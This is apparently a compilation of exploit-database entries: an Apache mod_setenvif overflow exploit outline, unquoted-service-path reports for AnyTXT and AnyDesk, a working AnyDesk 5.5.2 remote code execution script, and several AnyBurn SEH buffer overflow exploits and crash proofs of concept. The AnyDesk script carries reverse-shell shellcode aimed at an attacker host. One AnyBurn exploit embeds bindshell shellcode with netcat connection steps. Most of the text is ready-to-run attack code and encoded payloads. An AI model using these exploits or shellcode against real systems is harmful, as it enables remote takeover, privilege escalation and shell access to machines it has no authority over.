During routine testing, an integer overflow in apache2-mpm-worker 2.2.19 mod-setenvif was found. The crash occured when mangling request headers using a crafted .htaccess-file (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/SingleThread-htaccess). The broken code was ap_pregsub in server/util.c, where the buffer size of a new header field could overflow, the value was then used for memory allocation. When copying data to the buffer an, overwrite of the an apr (apache portable runtime) memory-pool boundaries occured, similar to standard heap buffer overflows.

## Outline of Exploit

The main goals creating the exploit were:

- Exploit has to be triggerable via HTTP GET requests only
- Exploit data has to be 0-byte free to have valid HTTP-protocol
- No alternative way of heap-spraying is used, e.g. GET + content-length. All variants I knew of had much too low efficiency
- Use libc for ROP, although all libc-addresses start with 0-byte, which cannot be sent via HTTP
- Rely only on libc address guess, but not heap/stack address guess, unless guess could be made nearly 100% reliable
- Use the already open HTTP-connections and turn them into command connections on the fly
- Have exploit in less than 256 bytes

Two different exploit layouts were developed. The first one used multiple threads, so that one was overwriting the data of the second thread before hitting the end of the memory area. Precise timing was essential to get shell access.

The second one used a more crafted substitution expression, stopping the copy in a single thread by modifying the regular expression currently processed in the thread. Since there is race condition involved, this exploit was far more reliable than the first one.
            
# Exploit Title: AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path
# Date: 2020-12-11
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: Anytxt.net
# Software Link: https://sourceforge.net/projects/anytxt/files/AnyTXT.Searcher.1.2.394.exe
# Version: Version 1.2.394
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc ATService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ATService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\AnyTXT Searcher\atservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyTXT Searcher Indexing Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>
            
# Exploit Title: AnyDesk 7.0.15 - Unquoted Service Path
# Date: 2024-04-01
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 7.0.15
# Tested on: Windows 10 Pro x64

1. Description:

The Anydesk installs as a service with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc anydesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: anydesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"
--service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


C:\>systeminfo

OS Name:  Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
            
# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution
# Date: 09/06/20
# Exploit Author: scryh
# Vendor Homepage: https://anydesk.com/en
# Version: 5.5.2
# Tested on: Linux
# Walkthrough: https://devel0pment.de/?p=1881

#!/usr/bin/env python
import struct
import socket
import sys

ip = '192.168.x.x'
port = 50001

def gen_discover_packet(ad_id, os, hn, user, inf, func):
  d  = chr(0x3e)+chr(0xd1)+chr(0x1)
  d += struct.pack('>I', ad_id)
  d += struct.pack('>I', 0)
  d += chr(0x2)+chr(os)
  d += struct.pack('>I', len(hn)) + hn
  d += struct.pack('>I', len(user)) + user
  d += struct.pack('>I', 0)
  d += struct.pack('>I', len(inf)) + inf
  d += chr(0)
  d += struct.pack('>I', len(func)) + func
  d += chr(0x2)+chr(0xc3)+chr(0x51)
  return d

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"

print('sending payload ...')
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(p, (ip, port))
s.close()
print('reverse shell should connect within 5 seconds')
            
# Exploit Title: AnyDesk 5.4.0 - Unquoted Service Path
# Exploit Author: SajjadBnd
# Date: 2019-12-23
# Vendor Homepage: http://anydesk.com
# Software Link: https://download.anydesk.com/AnyDesk.exe
# Version: Software Version 5.4.0
# Tested on: Win10 x64

SERVICE_NAME: AnyDesk
         TYPE              : 10  WIN32_OWN_PROCESS
         START_TYPE        : 2   AUTO_START
         ERROR_CONTROL     : 1   NORMAL
         BINARY_PATH_NAME  : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
         LOAD_ORDER_GROUP  :
         TAG               : 0
         DISPLAY_NAME      : AnyDesk Service
         DEPENDENCIES      : RpcSs
         SERVICE_START_NAME: LocalSystem
            
# Exploit Title: AnyDesk 2.5.0 Unquoted Service Path Elevation of Privilege
# Date: 22/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 2.5.0
# Tested on: Windows 10 Professional x64, Windows XP SP3 x86, Windows Server 2008 R2 x64
# Shout-out to carbonated and ozzie_offsec

1. Description:

The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc anydesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: anydesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\AnyDesk\AnyDesk.exe --service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
            
# Exploit Title: AnyBurn 4.8 - Buffer Overflow (SEH)
# Date: 2020-03-09
# Vendor Homepage: http://www.anyburn.com/
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Exploit Authors: "Richard Davy/Gary Nield"
# Tested Version: 4.8 (32-bit)
# Tested on: Windows 10 Enterprise x64
# Vulnerability Type: Buffer Overflow/SEH/Unicode

# Steps to Produce the Exploit:
# 1.- Run python code
# 2.- Open payload.txt and copy content to clipboard
# 3.- Open AnyBurn choose 'Copy disk to image file'
# 4.- Paste the content of payload.txt into the field: 'Select image file name'
# 5.- Click 'Create Now' and you will see a crash and the payload launch.

#!/usr/bin/env python

#Set overall payload size
crash_buffer_size = 10000
#nseh offset for SEH overwrite
nseh_offset = 9197

#location in payload where stack alignment returns to for payload
payloadret = 4459	
#payload filler
junk = "\x71" * payloadret 

#Payload generated via msfvenom, easily changeable as padding is auto calculated
#msfvenom -a x86 -p windows/exec cmd=calc.exe -e x86/unicode_upper BufferRegister=EAX -f py
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51"
buf += b"\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44"
buf += b"\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41"
buf += b"\x51\x41\x49\x41\x51\x41\x50\x41\x35\x41\x41\x41\x50"
buf += b"\x41\x5a\x31\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31"
buf += b"\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41\x50"
buf += b"\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49"
buf += b"\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51"
buf += b"\x49\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42"
buf += b"\x41\x42\x33\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b"
buf += b"\x4c\x5a\x48\x44\x42\x4d\x30\x4b\x50\x4b\x50\x43\x30"
buf += b"\x44\x49\x49\x55\x50\x31\x49\x30\x43\x34\x54\x4b\x50"
buf += b"\x50\x50\x30\x44\x4b\x42\x32\x4c\x4c\x54\x4b\x42\x32"
buf += b"\x4c\x54\x34\x4b\x43\x42\x4d\x58\x4c\x4f\x46\x57\x4f"
buf += b"\x5a\x4d\x56\x30\x31\x4b\x4f\x56\x4c\x4f\x4c\x33\x31"
buf += b"\x43\x4c\x4c\x42\x4e\x4c\x4f\x30\x49\x31\x48\x4f\x4c"
buf += b"\x4d\x4d\x31\x49\x37\x5a\x42\x4c\x32\x50\x52\x50\x57"
buf += b"\x44\x4b\x30\x52\x4c\x50\x34\x4b\x50\x4a\x4f\x4c\x54"
buf += b"\x4b\x50\x4c\x4c\x51\x54\x38\x5a\x43\x31\x38\x4b\x51"
buf += b"\x48\x51\x32\x31\x44\x4b\x42\x39\x4d\x50\x4b\x51\x59"
buf += b"\x43\x54\x4b\x51\x39\x4d\x48\x4b\x33\x4f\x4a\x4f\x59"
buf += b"\x44\x4b\x30\x34\x44\x4b\x4d\x31\x5a\x36\x30\x31\x4b"
buf += b"\x4f\x56\x4c\x57\x51\x58\x4f\x4c\x4d\x4b\x51\x39\x37"
buf += b"\x4f\x48\x39\x50\x34\x35\x4b\x46\x4d\x33\x33\x4d\x4b"
buf += b"\x48\x4f\x4b\x33\x4d\x4f\x34\x43\x45\x4b\x34\x42\x38"
buf += b"\x44\x4b\x51\x48\x4e\x44\x4b\x51\x59\x43\x31\x56\x54"
buf += b"\x4b\x4c\x4c\x30\x4b\x44\x4b\x50\x58\x4d\x4c\x4d\x31"
buf += b"\x38\x53\x34\x4b\x4b\x54\x44\x4b\x4d\x31\x5a\x30\x53"
buf += b"\x59\x51\x34\x4e\x44\x4d\x54\x51\x4b\x31\x4b\x43\x31"
buf += b"\x52\x39\x51\x4a\x30\x51\x4b\x4f\x49\x50\x51\x4f\x51"
buf += b"\x4f\x30\x5a\x34\x4b\x4c\x52\x4a\x4b\x34\x4d\x51\x4d"
buf += b"\x31\x5a\x4b\x51\x34\x4d\x35\x35\x46\x52\x4b\x50\x4d"
buf += b"\x30\x4b\x50\x30\x50\x51\x58\x4e\x51\x44\x4b\x42\x4f"
buf += b"\x33\x57\x4b\x4f\x59\x45\x47\x4b\x5a\x50\x38\x35\x36"
buf += b"\x42\x32\x36\x52\x48\x37\x36\x45\x45\x47\x4d\x45\x4d"
buf += b"\x4b\x4f\x48\x55\x4f\x4c\x4d\x36\x53\x4c\x4c\x4a\x35"
buf += b"\x30\x4b\x4b\x39\x50\x42\x55\x4c\x45\x57\x4b\x4f\x57"
buf += b"\x4d\x43\x52\x52\x32\x4f\x42\x4a\x4d\x30\x42\x33\x4b"
buf += b"\x4f\x4a\x35\x32\x43\x51\x51\x42\x4c\x52\x43\x4e\x4e"
buf += b"\x53\x35\x42\x58\x52\x45\x4d\x30\x41\x41"

#Filler padding after payload code to bring us to nseh offset
#auto calculated in case payload size changes
junk1 = "\x71" * int(nseh_offset-(len(junk)+len(buf)))

#SEH Overwrite
nSeh = "\x61\x70"
#Unicode safe SEH return
seh = "\x09\x48"

#Stack realignment which takes us directly back into shellcode
eax_align =  "\x70\x71\x71\x71" 	 	
eax_align += "\x54" 					
eax_align += "\x47" 					
eax_align += "\x58"						
eax_align += "\x47" 					
eax_align += "\x05\x2F\x11" 			
eax_align += "\x47" 					
eax_align += "\x2d\x01\x11" 			
eax_align += "\x47" 					
eax_align += "\x50" 					
eax_align += "\x47"						
eax_align += "\xc3"						

#Padding to take us to 10,000 
padding = "\x71" * int(crash_buffer_size-(len(junk)+len(buf)+len(junk1)+len(nSeh)+len(seh)+len(eax_align)))

#Assembly of parts 
buffer=junk+buf+junk1+nSeh+seh+eax_align+padding

try:
	f=open("payload.txt","w")
	print "\nAnyBurn Version 4.8 (32-bit) Exploit\n"
	print "Software Link : http://www.anyburn.com/anyburn_setup.exe"
	print "Exploit Authors: Richard Davy/Gary Nield"
	print "Tested on: Windows 10 Enterprise x64"
	print "Vulnerability Type: Buffer Overflow/SEH/Unicode\n"

	print "Steps to Produce the Exploit:"
	print "1.- Run python code"
	print "2.- Open payload.txt and copy content to clipboard"
	print "3.- Open AnyBurn choose 'Copy disk to image file'"
	print "4.- Paste the content of payload.txt into the field: 'Select image file name'"
	print "5.- Click 'Create Now' and you will see a crash and the payload launch.\n"

	print "[+] Creating %s bytes evil payload " %len(buffer)
	
	f.write(buffer)
	f.close()

	print "[+] File payload.txt created..."

except:
	print "[!] File cannot be created..."
            
#!/usr/bin/env python

# Exploit Title: AnyBurn 4.3 - Local Buffer Overflow (SEH Unicode)
# Date: 20-12-2018
# Exploit Author: Matteo Malvica
# Vendor Homepage: http://www.anyburn.com/
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Tested Version: 4.3 (32-bit) 
# Tested on: Windows 7 x64 SP1
# Credits: original vulnerability discovered by Achilles: https://www.exploit-db.com/exploits/46002

# Steps to reproduce:
# 1.- Run the python code
# 2.- Open exploit.txt and copy its content to the clipboard
# 3.- Open AnyBurn and choose 'Copy disk to Image'
# 4.- Paste the content of exploit.txt into the field: 'Image file name'
# 5.- Click 'Create Now' 
# 6.- Check with command prompt 'netstat -ano' and you should see a port listening on 9988
# 7.- With windows firewall disabled, from another host: 'nc [remote_IP] 9988'


# alphanumeric bindshell - port 9988, courtesy of b33f
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")


# total payload length 10000

align = (
"\x55"                      #push EBP - closer register to our shellcode, from where we are pivoting
"\x6e"                      #Venetian Padding
"\x58"                      #pop EAX
"\x6e"                      #Venetian Padding
"\x05\x22\x11"              #add eax,0x11002200  \
"\x6e"                      #Venetian Padding     |> +0xB00 
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x6e"                      #Venetian Padding
"\x50"                      #push EAX
"\x6e"                      #Venetian Padding
"\xC3")                     #RETN

nseh = "\x94\x94" 			# ANSI x94 translates to Unicode 201D
seh =  "\xb5\x4d" 			# 0x004d00b5 POP POP RET in AnyBurn.exe module

preamble = "\x58" * 47 + shellcode + "\x58" * (9197-47- len(shellcode)) + nseh + seh
unicode_nops = "\x58" * 200
exploit = preamble + align + unicode_nops + "\x58" * (10000 - len(preamble) - len(unicode_nops)-len(align))

try:
	f=open("exploit.txt","w")
	print "[+] Creating %s bytes lasagna payload.." %len(exploit)
	f.write(exploit)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
            
# Exploit Title: AnyBurn
# Date: 15-12-2018
# Vendor Homepage: http://www.anyburn.com/
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Exploit Author: Achilles
# Tested Version: 4.3 (32-bit)
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run python code : AnyBurn.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open AnyBurn choose 'Copy disk to Image'
# 4.- Paste the content of EVIL.txt into the field: 'Image file name'
# 5.- Click 'Create Now' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 10000

try:
 f=open("Evil.txt","w")
 print "[+] Creating %s bytes evil payload.." %len(buffer)
 f.write(buffer)
 f.close()
 print "[+] File created!"
except:
 print "File cannot be created"
            
#!/usr/bin/python
# Exploit Title: AnyBurn x86 - Denial of Service (DoS)
# Date: 30-01-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.anyburn.com/
# Version: 4.3 (32-bit)
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested Version: 4.3 (32-bit)
# Tested on: Windows XP SP3 ENG x86
# Note: The other exploitation field in Anyburn was discovered by Achilles
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# DOS PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Convert image to file format'
# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file"
# 4.) Click "Convert Now" and the program crashes

buffer = "A" * 10000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"